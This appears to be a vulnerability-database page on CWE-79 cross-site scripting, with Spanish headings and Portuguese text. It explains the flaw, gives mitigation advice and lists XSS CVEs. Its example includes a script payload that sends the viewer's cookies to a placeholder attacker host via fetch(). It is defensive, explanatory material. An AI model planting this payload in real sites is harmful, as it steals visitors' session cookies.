Fallos del tipo CWE-79

28.671 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-15274MEDIUMStored XSS via search result in Wiki.jsEPSS 0.8%CVE-2024-31650CRITICALA cross-site scripting (XSS) in Cosmetics and Beauty Product Online Store v1.0 allows attackers to execute arbitrary web scripts or HTML viaEPSS 0.8%CVE-2018-19951—If exploited, this cross-site scripting vulnerability could allow remote attackers to inject malicious code. This issue affects: QNAP SystemEPSS 0.8%CVE-2018-16474—A stored xss in tianma-static module versions <=1.0.4 allows an attacker to execute arbitrary javascript.EPSS 0.8%CVE-2025-51502MEDIUMReflected Cross-Site Scripting (XSS) in Microweber CMS 2.0 via the layout parameter on the /admin/page/create page allows arbitrary JavaScriEPSS 0.8%CVE-2021-4108MEDIUMCross-site Scripting (XSS) - Stored in snipe/snipe-itEPSS 0.8%CVE-2021-4121MEDIUMCross-site Scripting (XSS) - Stored in yetiforcecompany/yetiforcecrmEPSS 0.8%CVE-2020-1696MEDIUMA flaw was found in the all pki-core 10.x.x versions, where Token Processing Service (TPS) where it did not properly sanitize Profile IDs, eEPSS 0.8%CVE-2022-34322CRITICALMultiple XSS issues were discovered in Sage Enterprise Intelligence 2021 R1.1 that allow an attacker to execute JavaScript code in the conteEPSS 0.8%CVE-2022-35739MEDIUMPRTG Network Monitor through 22.2.77.2204 does not prevent custom input for a device’s icon, which can be modified to insert arbitrary conteEPSS 0.8%CVE-2019-15586—A XSS exists in Gitlab CE/EE < 12.1.10 in the Mermaid plugin.EPSS 0.8%CVE-2024-34241MEDIUMA cross-site scripting (XSS) vulnerability in Rocketsoft Rocket LMS 1.9 allows an administrator to store a JavaScript payload using the admiEPSS 0.8%CVE-2022-36965MEDIUMStored and DOM XSS in QoE Applications: Orion PlatformEPSS 0.8%CVE-2021-24504—WP LMS <= 1.1.2 - Stored Cross-Site Scripting (XSS)EPSS 0.8%CVE-2022-28716HIGHOn 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5,EPSS 0.8%CVE-2024-6050MEDIUMReflected XSS in SOWA OPACEPSS 0.8%CVE-2023-36800HIGHDynamics Finance and Operations Cross-site Scripting VulnerabilityEPSS 0.8%CVE-2023-31584MEDIUMGitHub repository cu/silicon commit a9ef36 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the User InputEPSS 0.8%CVE-2021-44478—A vulnerability has been identified in Polarion ALM (All versions < V21 R2 P2), Polarion WebClient for SVN (All versions). A cross-site scriEPSS 0.8%CVE-2024-40512HIGHCross Site Scripting vulnerability in openPetra v.2023.02 allows a remote attacker to obtain sensitive information via the serverMReporting.EPSS 0.8%